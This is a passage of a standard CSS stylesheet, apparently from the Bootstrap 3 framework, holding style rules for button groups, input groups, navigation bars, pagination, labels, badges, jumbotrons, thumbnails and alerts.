0;\n}\n.btn-group-vertical > .btn-group:first-child:not(:last-child) > .btn:last-child,\n.btn-group-vertical > .btn-group:first-child:not(:last-child) > .dropdown-toggle {\n border-bottom-right-radius: 0;\n border-bottom-left-radius: 0;\n}\n.btn-group-vertical > .btn-group:last-child:not(:first-child) > .btn:first-child {\n border-top-right-radius: 0;\n border-top-left-radius: 0;\n}\n.btn-group-justified {\n display: table;\n width: 100%;\n table-layout: fixed;\n border-collapse: separate;\n}\n.btn-group-justified > .btn,\n.btn-group-justified > .btn-group {\n float: none;\n display: table-cell;\n width: 1%;\n}\n.btn-group-justified > .btn-group .btn {\n width: 100%;\n}\n.btn-group-justified > .btn-group .dropdown-menu {\n left: auto;\n}\n[data-toggle=\"buttons\"] > .btn input[type=\"radio\"],\n[data-toggle=\"buttons\"] > .btn-group > .btn input[type=\"radio\"],\n[data-toggle=\"buttons\"] > .btn input[type=\"checkbox\"],\n[data-toggle=\"buttons\"] > .btn-group > .btn input[type=\"checkbox\"] {\n position: absolute;\n clip: rect(0, 0, 0, 0);\n pointer-events: none;\n}\n.input-group {\n position: relative;\n display: table;\n border-collapse: separate;\n}\n.input-group[class*=\"col-\"] {\n float: none;\n padding-left: 0;\n padding-right: 0;\n}\n.input-group .form-control {\n position: relative;\n z-index: 2;\n float: left;\n width: 100%;\n margin-bottom: 0;\n}\n.input-group-lg > .form-control,\n.input-group-lg > .input-group-addon,\n.input-group-lg > .input-group-btn > .btn {\n height: 46px;\n padding: 10px 16px;\n font-size: 18px;\n line-height: 1.3333333;\n border-radius: 6px;\n}\nselect.input-group-lg > .form-control,\nselect.input-group-lg > .input-group-addon,\nselect.input-group-lg > .input-group-btn > .btn {\n height: 46px;\n line-height: 46px;\n}\ntextarea.input-group-lg > .form-control,\ntextarea.input-group-lg > .input-group-addon,\ntextarea.input-group-lg > .input-group-btn > .btn,\nselect[multiple].input-group-lg > .form-control,\nselect[multiple].input-group-lg > .input-group-addon,\nselect[multiple].input-group-lg > .input-group-btn > .btn {\n height: auto;\n}\n.input-group-sm > .form-control,\n.input-group-sm > .input-group-addon,\n.input-group-sm > .input-group-btn > .btn {\n height: 30px;\n padding: 5px 10px;\n font-size: 12px;\n line-height: 1.5;\n border-radius: 3px;\n}\nselect.input-group-sm > .form-control,\nselect.input-group-sm > .input-group-addon,\nselect.input-group-sm > .input-group-btn > .btn {\n height: 30px;\n line-height: 30px;\n}\ntextarea.input-group-sm > .form-control,\ntextarea.input-group-sm > .input-group-addon,\ntextarea.input-group-sm > .input-group-btn > .btn,\nselect[multiple].input-group-sm > .form-control,\nselect[multiple].input-group-sm > .input-group-addon,\nselect[multiple].input-group-sm > .input-group-btn > .btn {\n height: auto;\n}\n.input-group-addon,\n.input-group-btn,\n.input-group .form-control {\n display: table-cell;\n}\n.input-group-addon:not(:first-child):not(:last-child),\n.input-group-btn:not(:first-child):not(:last-child),\n.input-group .form-control:not(:first-child):not(:last-child) {\n border-radius: 0;\n}\n.input-group-addon,\n.input-group-btn {\n width: 1%;\n white-space: nowrap;\n vertical-align: middle;\n}\n.input-group-addon {\n padding: 6px 12px;\n font-size: 14px;\n font-weight: normal;\n line-height: 1;\n color: #555555;\n text-align: center;\n background-color: #eeeeee;\n border: 1px solid #cccccc;\n border-radius: 4px;\n}\n.input-group-addon.input-sm {\n padding: 5px 10px;\n font-size: 12px;\n border-radius: 3px;\n}\n.input-group-addon.input-lg {\n padding: 10px 16px;\n font-size: 18px;\n border-radius: 6px;\n}\n.input-group-addon input[type=\"radio\"],\n.input-group-addon input[type=\"checkbox\"] {\n margin-top: 0;\n}\n.input-group .form-control:first-child,\n.input-group-addon:first-child,\n.input-group-btn:first-child > .btn,\n.input-group-btn:first-child > .btn-group > .btn,\n.input-group-btn:first-child > .dropdown-toggle,\n.input-group-btn:last-child > .btn:not(:last-child):not(.dropdown-toggle),\n.input-group-btn:last-child > .btn-group:not(:last-child) > .btn {\n border-bottom-right-radius: 0;\n border-top-right-radius: 0;\n}\n.input-group-addon:first-child {\n border-right: 0;\n}\n.input-group .form-control:last-child,\n.input-group-addon:last-child,\n.input-group-btn:last-child > .btn,\n.input-group-btn:last-child > .btn-group > .btn,\n.input-group-btn:last-child > .dropdown-toggle,\n.input-group-btn:first-child > .btn:not(:first-child),\n.input-group-btn:first-child > .btn-group:not(:first-child) > .btn {\n border-bottom-left-radius: 0;\n border-top-left-radius: 0;\n}\n.input-group-addon:last-child {\n border-left: 0;\n}\n.input-group-btn {\n position: relative;\n font-size: 0;\n white-space: nowrap;\n}\n.input-group-btn > .btn {\n position: relative;\n}\n.input-group-btn > .btn + .btn {\n margin-left: -1px;\n}\n.input-group-btn > .btn:hover,\n.input-group-btn > .btn:focus,\n.input-group-btn > .btn:active {\n z-index: 2;\n}\n.input-group-btn:first-child > .btn,\n.input-group-btn:first-child > .btn-group {\n margin-right: -1px;\n}\n.input-group-btn:last-child > .btn,\n.input-group-btn:last-child > .btn-group {\n margin-left: -1px;\n}\n.nav {\n margin-bottom: 0;\n padding-left: 0;\n list-style: none;\n}\n.nav > li {\n position: relative;\n display: block;\n}\n.nav > li > a {\n position: relative;\n display: block;\n padding: 10px 15px;\n}\n.nav > li > a:hover,\n.nav > li > a:focus {\n text-decoration: none;\n background-color: #eeeeee;\n}\n.nav > li.disabled > a {\n color: #777777;\n}\n.nav > li.disabled > a:hover,\n.nav > li.disabled > a:focus {\n color: #777777;\n text-decoration: none;\n background-color: transparent;\n cursor: not-allowed;\n}\n.nav .open > a,\n.nav .open > a:hover,\n.nav .open > a:focus {\n background-color: #eeeeee;\n border-color: #337ab7;\n}\n.nav .nav-divider {\n height: 1px;\n margin: 9px 0;\n overflow: hidden;\n background-color: #e5e5e5;\n}\n.nav > li > a > img {\n max-width: none;\n}\n.nav-tabs {\n border-bottom: 1px solid #dddddd;\n}\n.nav-tabs > li {\n float: left;\n margin-bottom: -1px;\n}\n.nav-tabs > li > a {\n margin-right: 2px;\n line-height: 1.42857143;\n border: 1px solid transparent;\n border-radius: 4px 4px 0 0;\n}\n.nav-tabs > li > a:hover {\n border-color: #eeeeee #eeeeee #dddddd;\n}\n.nav-tabs > li.active > a,\n.nav-tabs > li.active > a:hover,\n.nav-tabs > li.active > a:focus {\n color: #555555;\n background-color: #ffffff;\n border: 1px solid #dddddd;\n border-bottom-color: transparent;\n cursor: default;\n}\n.nav-tabs.nav-justified {\n width: 100%;\n border-bottom: 0;\n}\n.nav-tabs.nav-justified > li {\n float: none;\n}\n.nav-tabs.nav-justified > li > a {\n text-align: center;\n margin-bottom: 5px;\n}\n.nav-tabs.nav-justified > .dropdown .dropdown-menu {\n top: auto;\n left: auto;\n}\n@media (min-width: 768px) {\n .nav-tabs.nav-justified > li {\n display: table-cell;\n width: 1%;\n }\n .nav-tabs.nav-justified > li > a {\n margin-bottom: 0;\n }\n}\n.nav-tabs.nav-justified > li > a {\n margin-right: 0;\n border-radius: 4px;\n}\n.nav-tabs.nav-justified > .active > a,\n.nav-tabs.nav-justified > .active > a:hover,\n.nav-tabs.nav-justified > .active > a:focus {\n border: 1px solid #dddddd;\n}\n@media (min-width: 768px) {\n .nav-tabs.nav-justified > li > a {\n border-bottom: 1px solid #dddddd;\n border-radius: 4px 4px 0 0;\n }\n .nav-tabs.nav-justified > .active > a,\n .nav-tabs.nav-justified > .active > a:hover,\n .nav-tabs.nav-justified > .active > a:focus {\n border-bottom-color: #ffffff;\n }\n}\n.nav-pills > li {\n float: left;\n}\n.nav-pills > li > a {\n border-radius: 4px;\n}\n.nav-pills > li + li {\n margin-left: 2px;\n}\n.nav-pills > li.active > a,\n.nav-pills > li.active > a:hover,\n.nav-pills > li.active > a:focus {\n color: #ffffff;\n background-color: #337ab7;\n}\n.nav-stacked > li {\n float: none;\n}\n.nav-stacked > li + li {\n margin-top: 2px;\n margin-left: 0;\n}\n.nav-justified {\n width: 100%;\n}\n.nav-justified > li {\n float: none;\n}\n.nav-justified > li > a {\n text-align: center;\n margin-bottom: 5px;\n}\n.nav-justified > .dropdown .dropdown-menu {\n top: auto;\n left: auto;\n}\n@media (min-width: 768px) {\n .nav-justified > li {\n display: table-cell;\n width: 1%;\n }\n .nav-justified > li > a {\n margin-bottom: 0;\n }\n}\n.nav-tabs-justified {\n border-bottom: 0;\n}\n.nav-tabs-justified > li > a {\n margin-right: 0;\n border-radius: 4px;\n}\n.nav-tabs-justified > .active > a,\n.nav-tabs-justified > .active > a:hover,\n.nav-tabs-justified > .active > a:focus {\n border: 1px solid #dddddd;\n}\n@media (min-width: 768px) {\n .nav-tabs-justified > li > a {\n border-bottom: 1px solid #dddddd;\n border-radius: 4px 4px 0 0;\n }\n .nav-tabs-justified > .active > a,\n .nav-tabs-justified > .active > a:hover,\n .nav-tabs-justified > .active > a:focus {\n border-bottom-color: #ffffff;\n }\n}\n.tab-content > .tab-pane {\n display: none;\n}\n.tab-content > .active {\n display: block;\n}\n.nav-tabs .dropdown-menu {\n margin-top: -1px;\n border-top-right-radius: 0;\n border-top-left-radius: 0;\n}\n.navbar {\n position: relative;\n min-height: 50px;\n margin-bottom: 20px;\n border: 1px solid transparent;\n}\n@media (min-width: 768px) {\n .navbar {\n border-radius: 4px;\n }\n}\n@media (min-width: 768px) {\n .navbar-header {\n float: left;\n }\n}\n.navbar-collapse {\n overflow-x: visible;\n padding-right: 15px;\n padding-left: 15px;\n border-top: 1px solid transparent;\n box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.1);\n -webkit-overflow-scrolling: touch;\n}\n.navbar-collapse.in {\n overflow-y: auto;\n}\n@media (min-width: 768px) {\n .navbar-collapse {\n width: auto;\n border-top: 0;\n box-shadow: none;\n }\n .navbar-collapse.collapse {\n display: block !important;\n height: auto !important;\n padding-bottom: 0;\n overflow: visible !important;\n }\n .navbar-collapse.in {\n overflow-y: visible;\n }\n .navbar-fixed-top .navbar-collapse,\n .navbar-static-top .navbar-collapse,\n .navbar-fixed-bottom .navbar-collapse {\n padding-left: 0;\n padding-right: 0;\n }\n}\n.navbar-fixed-top .navbar-collapse,\n.navbar-fixed-bottom .navbar-collapse {\n max-height: 340px;\n}\n@media (max-device-width: 480px) and (orientation: landscape) {\n .navbar-fixed-top .navbar-collapse,\n .navbar-fixed-bottom .navbar-collapse {\n max-height: 200px;\n }\n}\n.container > .navbar-header,\n.container-fluid > .navbar-header,\n.container > .navbar-collapse,\n.container-fluid > .navbar-collapse {\n margin-right: -15px;\n margin-left: -15px;\n}\n@media (min-width: 768px) {\n .container > .navbar-header,\n .container-fluid > .navbar-header,\n .container > .navbar-collapse,\n .container-fluid > .navbar-collapse {\n margin-right: 0;\n margin-left: 0;\n }\n}\n.navbar-static-top {\n z-index: 1000;\n border-width: 0 0 1px;\n}\n@media (min-width: 768px) {\n .navbar-static-top {\n border-radius: 0;\n }\n}\n.navbar-fixed-top,\n.navbar-fixed-bottom {\n position: fixed;\n right: 0;\n left: 0;\n z-index: 1030;\n}\n@media (min-width: 768px) {\n .navbar-fixed-top,\n .navbar-fixed-bottom {\n border-radius: 0;\n }\n}\n.navbar-fixed-top {\n top: 0;\n border-width: 0 0 1px;\n}\n.navbar-fixed-bottom {\n bottom: 0;\n margin-bottom: 0;\n border-width: 1px 0 0;\n}\n.navbar-brand {\n float: left;\n padding: 15px 15px;\n font-size: 18px;\n line-height: 20px;\n height: 50px;\n}\n.navbar-brand:hover,\n.navbar-brand:focus {\n text-decoration: none;\n}\n.navbar-brand > img {\n display: block;\n}\n@media (min-width: 768px) {\n .navbar > .container .navbar-brand,\n .navbar > .container-fluid .navbar-brand {\n margin-left: -15px;\n }\n}\n.navbar-toggle {\n position: relative;\n float: right;\n margin-right: 15px;\n padding: 9px 10px;\n margin-top: 8px;\n margin-bottom: 8px;\n background-color: transparent;\n background-image: none;\n border: 1px solid transparent;\n border-radius: 4px;\n}\n.navbar-toggle:focus {\n outline: 0;\n}\n.navbar-toggle .icon-bar {\n display: block;\n width: 22px;\n height: 2px;\n border-radius: 1px;\n}\n.navbar-toggle .icon-bar + .icon-bar {\n margin-top: 4px;\n}\n@media (min-width: 768px) {\n .navbar-toggle {\n display: none;\n }\n}\n.navbar-nav {\n margin: 7.5px -15px;\n}\n.navbar-nav > li > a {\n padding-top: 10px;\n padding-bottom: 10px;\n line-height: 20px;\n}\n@media (max-width: 767px) {\n .navbar-nav .open .dropdown-menu {\n position: static;\n float: none;\n width: auto;\n margin-top: 0;\n background-color: transparent;\n border: 0;\n box-shadow: none;\n }\n .navbar-nav .open .dropdown-menu > li > a,\n .navbar-nav .open .dropdown-menu .dropdown-header {\n padding: 5px 15px 5px 25px;\n }\n .navbar-nav .open .dropdown-menu > li > a {\n line-height: 20px;\n }\n .navbar-nav .open .dropdown-menu > li > a:hover,\n .navbar-nav .open .dropdown-menu > li > a:focus {\n background-image: none;\n }\n}\n@media (min-width: 768px) {\n .navbar-nav {\n float: left;\n margin: 0;\n }\n .navbar-nav > li {\n float: left;\n }\n .navbar-nav > li > a {\n padding-top: 15px;\n padding-bottom: 15px;\n }\n}\n.navbar-form {\n margin-left: -15px;\n margin-right: -15px;\n padding: 10px 15px;\n border-top: 1px solid transparent;\n border-bottom: 1px solid transparent;\n -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.1), 0 1px 0 rgba(255, 255, 255, 0.1);\n box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.1), 0 1px 0 rgba(255, 255, 255, 0.1);\n margin-top: 8px;\n margin-bottom: 8px;\n}\n@media (min-width: 768px) {\n .navbar-form .form-group {\n display: inline-block;\n margin-bottom: 0;\n vertical-align: middle;\n }\n .navbar-form .form-control {\n display: inline-block;\n width: auto;\n vertical-align: middle;\n }\n .navbar-form .form-control-static {\n display: inline-block;\n }\n .navbar-form .input-group {\n display: inline-table;\n vertical-align: middle;\n }\n .navbar-form .input-group .input-group-addon,\n .navbar-form .input-group .input-group-btn,\n .navbar-form .input-group .form-control {\n width: auto;\n }\n .navbar-form .input-group > .form-control {\n width: 100%;\n }\n .navbar-form .control-label {\n margin-bottom: 0;\n vertical-align: middle;\n }\n .navbar-form .radio,\n .navbar-form .checkbox {\n display: inline-block;\n margin-top: 0;\n margin-bottom: 0;\n vertical-align: middle;\n }\n .navbar-form .radio label,\n .navbar-form .checkbox label {\n padding-left: 0;\n }\n .navbar-form .radio input[type=\"radio\"],\n .navbar-form .checkbox input[type=\"checkbox\"] {\n position: relative;\n margin-left: 0;\n }\n .navbar-form .has-feedback .form-control-feedback {\n top: 0;\n }\n}\n@media (max-width: 767px) {\n .navbar-form .form-group {\n margin-bottom: 5px;\n }\n .navbar-form .form-group:last-child {\n margin-bottom: 0;\n }\n}\n@media (min-width: 768px) {\n .navbar-form {\n width: auto;\n border: 0;\n margin-left: 0;\n margin-right: 0;\n padding-top: 0;\n padding-bottom: 0;\n -webkit-box-shadow: none;\n box-shadow: none;\n }\n}\n.navbar-nav > li > .dropdown-menu {\n margin-top: 0;\n border-top-right-radius: 0;\n border-top-left-radius: 0;\n}\n.navbar-fixed-bottom .navbar-nav > li > .dropdown-menu {\n margin-bottom: 0;\n border-top-right-radius: 4px;\n border-top-left-radius: 4px;\n border-bottom-right-radius: 0;\n border-bottom-left-radius: 0;\n}\n.navbar-btn {\n margin-top: 8px;\n margin-bottom: 8px;\n}\n.navbar-btn.btn-sm {\n margin-top: 10px;\n margin-bottom: 10px;\n}\n.navbar-btn.btn-xs {\n margin-top: 14px;\n margin-bottom: 14px;\n}\n.navbar-text {\n margin-top: 15px;\n margin-bottom: 15px;\n}\n@media (min-width: 768px) {\n .navbar-text {\n float: left;\n margin-left: 15px;\n margin-right: 15px;\n }\n}\n@media (min-width: 768px) {\n .navbar-left {\n float: left !important;\n }\n .navbar-right {\n float: right !important;\n margin-right: -15px;\n }\n .navbar-right ~ .navbar-right {\n margin-right: 0;\n }\n}\n.navbar-default {\n background-color: #f8f8f8;\n border-color: #e7e7e7;\n}\n.navbar-default .navbar-brand {\n color: #777777;\n}\n.navbar-default .navbar-brand:hover,\n.navbar-default .navbar-brand:focus {\n color: #5e5e5e;\n background-color: transparent;\n}\n.navbar-default .navbar-text {\n color: #777777;\n}\n.navbar-default .navbar-nav > li > a {\n color: #777777;\n}\n.navbar-default .navbar-nav > li > a:hover,\n.navbar-default .navbar-nav > li > a:focus {\n color: #333333;\n background-color: transparent;\n}\n.navbar-default .navbar-nav > .active > a,\n.navbar-default .navbar-nav > .active > a:hover,\n.navbar-default .navbar-nav > .active > a:focus {\n color: #555555;\n background-color: #e7e7e7;\n}\n.navbar-default .navbar-nav > .disabled > a,\n.navbar-default .navbar-nav > .disabled > a:hover,\n.navbar-default .navbar-nav > .disabled > a:focus {\n color: #cccccc;\n background-color: transparent;\n}\n.navbar-default .navbar-toggle {\n border-color: #dddddd;\n}\n.navbar-default .navbar-toggle:hover,\n.navbar-default .navbar-toggle:focus {\n background-color: #dddddd;\n}\n.navbar-default .navbar-toggle .icon-bar {\n background-color: #888888;\n}\n.navbar-default .navbar-collapse,\n.navbar-default .navbar-form {\n border-color: #e7e7e7;\n}\n.navbar-default .navbar-nav > .open > a,\n.navbar-default .navbar-nav > .open > a:hover,\n.navbar-default .navbar-nav > .open > a:focus {\n background-color: #e7e7e7;\n color: #555555;\n}\n@media (max-width: 767px) {\n .navbar-default .navbar-nav .open .dropdown-menu > li > a {\n color: #777777;\n }\n .navbar-default .navbar-nav .open .dropdown-menu > li > a:hover,\n .navbar-default .navbar-nav .open .dropdown-menu > li > a:focus {\n color: #333333;\n background-color: transparent;\n }\n .navbar-default .navbar-nav .open .dropdown-menu > .active > a,\n .navbar-default .navbar-nav .open .dropdown-menu > .active > a:hover,\n .navbar-default .navbar-nav .open .dropdown-menu > .active > a:focus {\n color: #555555;\n background-color: #e7e7e7;\n }\n .navbar-default .navbar-nav .open .dropdown-menu > .disabled > a,\n .navbar-default .navbar-nav .open .dropdown-menu > .disabled > a:hover,\n .navbar-default .navbar-nav .open .dropdown-menu > .disabled > a:focus {\n color: #cccccc;\n background-color: transparent;\n }\n}\n.navbar-default .navbar-link {\n color: #777777;\n}\n.navbar-default .navbar-link:hover {\n color: #333333;\n}\n.navbar-default .btn-link {\n color: #777777;\n}\n.navbar-default .btn-link:hover,\n.navbar-default .btn-link:focus {\n color: #333333;\n}\n.navbar-default .btn-link[disabled]:hover,\nfieldset[disabled] .navbar-default .btn-link:hover,\n.navbar-default .btn-link[disabled]:focus,\nfieldset[disabled] .navbar-default .btn-link:focus {\n color: #cccccc;\n}\n.navbar-inverse {\n background-color: #222222;\n border-color: #080808;\n}\n.navbar-inverse .navbar-brand {\n color: #9d9d9d;\n}\n.navbar-inverse .navbar-brand:hover,\n.navbar-inverse .navbar-brand:focus {\n color: #ffffff;\n background-color: transparent;\n}\n.navbar-inverse .navbar-text {\n color: #9d9d9d;\n}\n.navbar-inverse .navbar-nav > li > a {\n color: #9d9d9d;\n}\n.navbar-inverse .navbar-nav > li > a:hover,\n.navbar-inverse .navbar-nav > li > a:focus {\n color: #ffffff;\n background-color: transparent;\n}\n.navbar-inverse .navbar-nav > .active > a,\n.navbar-inverse .navbar-nav > .active > a:hover,\n.navbar-inverse .navbar-nav > .active > a:focus {\n color: #ffffff;\n background-color: #080808;\n}\n.navbar-inverse .navbar-nav > .disabled > a,\n.navbar-inverse .navbar-nav > .disabled > a:hover,\n.navbar-inverse .navbar-nav > .disabled > a:focus {\n color: #444444;\n background-color: transparent;\n}\n.navbar-inverse .navbar-toggle {\n border-color: #333333;\n}\n.navbar-inverse .navbar-toggle:hover,\n.navbar-inverse .navbar-toggle:focus {\n background-color: #333333;\n}\n.navbar-inverse .navbar-toggle .icon-bar {\n background-color: #ffffff;\n}\n.navbar-inverse .navbar-collapse,\n.navbar-inverse .navbar-form {\n border-color: #101010;\n}\n.navbar-inverse .navbar-nav > .open > a,\n.navbar-inverse .navbar-nav > .open > a:hover,\n.navbar-inverse .navbar-nav > .open > a:focus {\n background-color: #080808;\n color: #ffffff;\n}\n@media (max-width: 767px) {\n .navbar-inverse .navbar-nav .open .dropdown-menu > .dropdown-header {\n border-color: #080808;\n }\n .navbar-inverse .navbar-nav .open .dropdown-menu .divider {\n background-color: #080808;\n }\n .navbar-inverse .navbar-nav .open .dropdown-menu > li > a {\n color: #9d9d9d;\n }\n .navbar-inverse .navbar-nav .open .dropdown-menu > li > a:hover,\n .navbar-inverse .navbar-nav .open .dropdown-menu > li > a:focus {\n color: #ffffff;\n background-color: transparent;\n }\n .navbar-inverse .navbar-nav .open .dropdown-menu > .active > a,\n .navbar-inverse .navbar-nav .open .dropdown-menu > .active > a:hover,\n .navbar-inverse .navbar-nav .open .dropdown-menu > .active > a:focus {\n color: #ffffff;\n background-color: #080808;\n }\n .navbar-inverse .navbar-nav .open .dropdown-menu > .disabled > a,\n .navbar-inverse .navbar-nav .open .dropdown-menu > .disabled > a:hover,\n .navbar-inverse .navbar-nav .open .dropdown-menu > .disabled > a:focus {\n color: #444444;\n background-color: transparent;\n }\n}\n.navbar-inverse .navbar-link {\n color: #9d9d9d;\n}\n.navbar-inverse .navbar-link:hover {\n color: #ffffff;\n}\n.navbar-inverse .btn-link {\n color: #9d9d9d;\n}\n.navbar-inverse .btn-link:hover,\n.navbar-inverse .btn-link:focus {\n color: #ffffff;\n}\n.navbar-inverse .btn-link[disabled]:hover,\nfieldset[disabled] .navbar-inverse .btn-link:hover,\n.navbar-inverse .btn-link[disabled]:focus,\nfieldset[disabled] .navbar-inverse .btn-link:focus {\n color: #444444;\n}\n.breadcrumb {\n padding: 8px 15px;\n margin-bottom: 20px;\n list-style: none;\n background-color: #f5f5f5;\n border-radius: 4px;\n}\n.breadcrumb > li {\n display: inline-block;\n}\n.breadcrumb > li + li:before {\n content: \"/\\00a0\";\n padding: 0 5px;\n color: #cccccc;\n}\n.breadcrumb > .active {\n color: #777777;\n}\n.pagination {\n display: inline-block;\n padding-left: 0;\n margin: 20px 0;\n border-radius: 4px;\n}\n.pagination > li {\n display: inline;\n}\n.pagination > li > a,\n.pagination > li > span {\n position: relative;\n float: left;\n padding: 6px 12px;\n line-height: 1.42857143;\n text-decoration: none;\n color: #337ab7;\n background-color: #ffffff;\n border: 1px solid #dddddd;\n margin-left: -1px;\n}\n.pagination > li:first-child > a,\n.pagination > li:first-child > span {\n margin-left: 0;\n border-bottom-left-radius: 4px;\n border-top-left-radius: 4px;\n}\n.pagination > li:last-child > a,\n.pagination > li:last-child > span {\n border-bottom-right-radius: 4px;\n border-top-right-radius: 4px;\n}\n.pagination > li > a:hover,\n.pagination > li > span:hover,\n.pagination > li > a:focus,\n.pagination > li > span:focus {\n color: #23527c;\n background-color: #eeeeee;\n border-color: #dddddd;\n}\n.pagination > .active > a,\n.pagination > .active > span,\n.pagination > .active > a:hover,\n.pagination > .active > span:hover,\n.pagination > .active > a:focus,\n.pagination > .active > span:focus {\n z-index: 2;\n color: #ffffff;\n background-color: #337ab7;\n border-color: #337ab7;\n cursor: default;\n}\n.pagination > .disabled > span,\n.pagination > .disabled > span:hover,\n.pagination > .disabled > span:focus,\n.pagination > .disabled > a,\n.pagination > .disabled > a:hover,\n.pagination > .disabled > a:focus {\n color: #777777;\n background-color: #ffffff;\n border-color: #dddddd;\n cursor: not-allowed;\n}\n.pagination-lg > li > a,\n.pagination-lg > li > span {\n padding: 10px 16px;\n font-size: 18px;\n}\n.pagination-lg > li:first-child > a,\n.pagination-lg > li:first-child > span {\n border-bottom-left-radius: 6px;\n border-top-left-radius: 6px;\n}\n.pagination-lg > li:last-child > a,\n.pagination-lg > li:last-child > span {\n border-bottom-right-radius: 6px;\n border-top-right-radius: 6px;\n}\n.pagination-sm > li > a,\n.pagination-sm > li > span {\n padding: 5px 10px;\n font-size: 12px;\n}\n.pagination-sm > li:first-child > a,\n.pagination-sm > li:first-child > span {\n border-bottom-left-radius: 3px;\n border-top-left-radius: 3px;\n}\n.pagination-sm > li:last-child > a,\n.pagination-sm > li:last-child > span {\n border-bottom-right-radius: 3px;\n border-top-right-radius: 3px;\n}\n.pager {\n padding-left: 0;\n margin: 20px 0;\n list-style: none;\n text-align: center;\n}\n.pager li {\n display: inline;\n}\n.pager li > a,\n.pager li > span {\n display: inline-block;\n padding: 5px 14px;\n background-color: #ffffff;\n border: 1px solid #dddddd;\n border-radius: 15px;\n}\n.pager li > a:hover,\n.pager li > a:focus {\n text-decoration: none;\n background-color: #eeeeee;\n}\n.pager .next > a,\n.pager .next > span {\n float: right;\n}\n.pager .previous > a,\n.pager .previous > span {\n float: left;\n}\n.pager .disabled > a,\n.pager .disabled > a:hover,\n.pager .disabled > a:focus,\n.pager .disabled > span {\n color: #777777;\n background-color: #ffffff;\n cursor: not-allowed;\n}\n.label {\n display: inline;\n padding: .2em .6em .3em;\n font-size: 75%;\n font-weight: bold;\n line-height: 1;\n color: #ffffff;\n text-align: center;\n white-space: nowrap;\n vertical-align: baseline;\n border-radius: .25em;\n}\na.label:hover,\na.label:focus {\n color: #ffffff;\n text-decoration: none;\n cursor: pointer;\n}\n.label:empty {\n display: none;\n}\n.btn .label {\n position: relative;\n top: -1px;\n}\n.label-default {\n background-color: #777777;\n}\n.label-default[href]:hover,\n.label-default[href]:focus {\n background-color: #5e5e5e;\n}\n.label-primary {\n background-color: #337ab7;\n}\n.label-primary[href]:hover,\n.label-primary[href]:focus {\n background-color: #286090;\n}\n.label-success {\n background-color: #5cb85c;\n}\n.label-success[href]:hover,\n.label-success[href]:focus {\n background-color: #449d44;\n}\n.label-info {\n background-color: #5bc0de;\n}\n.label-info[href]:hover,\n.label-info[href]:focus {\n background-color: #31b0d5;\n}\n.label-warning {\n background-color: #f0ad4e;\n}\n.label-warning[href]:hover,\n.label-warning[href]:focus {\n background-color: #ec971f;\n}\n.label-danger {\n background-color: #d9534f;\n}\n.label-danger[href]:hover,\n.label-danger[href]:focus {\n background-color: #c9302c;\n}\n.badge {\n display: inline-block;\n min-width: 10px;\n padding: 3px 7px;\n font-size: 12px;\n font-weight: bold;\n color: #ffffff;\n line-height: 1;\n vertical-align: baseline;\n white-space: nowrap;\n text-align: center;\n background-color: #777777;\n border-radius: 10px;\n}\n.badge:empty {\n display: none;\n}\n.btn .badge {\n position: relative;\n top: -1px;\n}\n.btn-xs .badge,\n.btn-group-xs > .btn .badge {\n top: 0;\n padding: 1px 5px;\n}\na.badge:hover,\na.badge:focus {\n color: #ffffff;\n text-decoration: none;\n cursor: pointer;\n}\n.list-group-item.active > .badge,\n.nav-pills > .active > a > .badge {\n color: #337ab7;\n background-color: #ffffff;\n}\n.list-group-item > .badge {\n float: right;\n}\n.list-group-item > .badge + .badge {\n margin-right: 5px;\n}\n.nav-pills > li > a > .badge {\n margin-left: 3px;\n}\n.jumbotron {\n padding: 30px 15px;\n margin-bottom: 30px;\n color: inherit;\n background-color: #eeeeee;\n}\n.jumbotron h1,\n.jumbotron .h1 {\n color: inherit;\n}\n.jumbotron p {\n margin-bottom: 15px;\n font-size: 21px;\n font-weight: 200;\n}\n.jumbotron > hr {\n border-top-color: #d5d5d5;\n}\n.container .jumbotron,\n.container-fluid .jumbotron {\n border-radius: 6px;\n}\n.jumbotron .container {\n max-width: 100%;\n}\n@media screen and (min-width: 768px) {\n .jumbotron {\n padding: 48px 0;\n }\n .container .jumbotron,\n .container-fluid .jumbotron {\n padding-left: 60px;\n padding-right: 60px;\n }\n .jumbotron h1,\n .jumbotron .h1 {\n font-size: 63px;\n }\n}\n.thumbnail {\n display: block;\n padding: 4px;\n margin-bottom: 20px;\n line-height: 1.42857143;\n background-color: #ffffff;\n border: 1px solid #dddddd;\n border-radius: 4px;\n -webkit-transition: border 0.2s ease-in-out;\n -o-transition: border 0.2s ease-in-out;\n transition: border 0.2s ease-in-out;\n}\n.thumbnail > img,\n.thumbnail a > img {\n margin-left: auto;\n margin-right: auto;\n}\na.thumbnail:hover,\na.thumbnail:focus,\na.thumbnail.active {\n border-color: #337ab7;\n}\n.thumbnail .caption {\n padding: 9px;\n color: #333333;\n}\n.alert {\n padding: 15px;\n margin-bottom: 20px;\n border: 1px solid transparent;\n border-radius: 4px;\n}\n.alert h4 {\n margin-top: 0;\n color: inherit;\n}\n.alert .alert-link {\n font-weight: bold;\n}\n.alert > p,\n.alert > ul {\n margin-bottom: 0;\n}\n.alert > p + p {\n margin-top: 5px;\n}\n.alert-dismissable,\n.alert-dismissible {\n padding-right: 35px;\n}\n.alert-dismissable .close,\n.alert-dismissible .close {\n position: relative;\n top: -2px;\n right: -21px;\n color: inherit;\n}\n.alert-success {\n background-color: #dff0d8;\n border-color: #d6e9c6;\n color: #3c763d;\n}\n.alert-success hr {\n border-top-color: #c9e2b3;\n}\n.alert-success .alert-link {\n color: #2b542c;\n}\n.alert-info {\n background-color: #d9edf7;\n border-color: #bce8f1;\n color: #31708f;\n}\n.alert-info hr {\n border-top-color: #a6e1ec;\n}\n.alert-info .alert-link {\n color: #245269;\n}\n.alert-warning {\n background-color: #fcf8e3;\n border-color: #faebcc;\n color: #8a6d3b;\n}\n.alert-warning hr {\n border-top-color: #f7e1b5;\n}\n.alert-warning .alert-link {\n color: #66512c;\n}\n.alert-danger {\n background-color: #f2dede;\n border-color: #ebccd1;\n color: #a94442;\n}\n.alert-danger hr {\n border-top-color: #e4b9c0;\n}\n.alert-danger .alert-link {\n color: #843534;\n}\n@-webkit-keyframes progress-bar-stripes {\n from {\n background-position: 40px 0;\n }\n to {\n background-position: 0 0;\n }\n}\n@keyframes progress-bar-stripes {\n from {\n background-position: 40px 0;\n }\n to {\n background-position: 0 0;\n }\n}\n.progress {\n overflow: hidden;\n height: 20px;\n margin-bottom: 20px;\n background-color: #f5f5f5;\n border-radius: 4px;\n 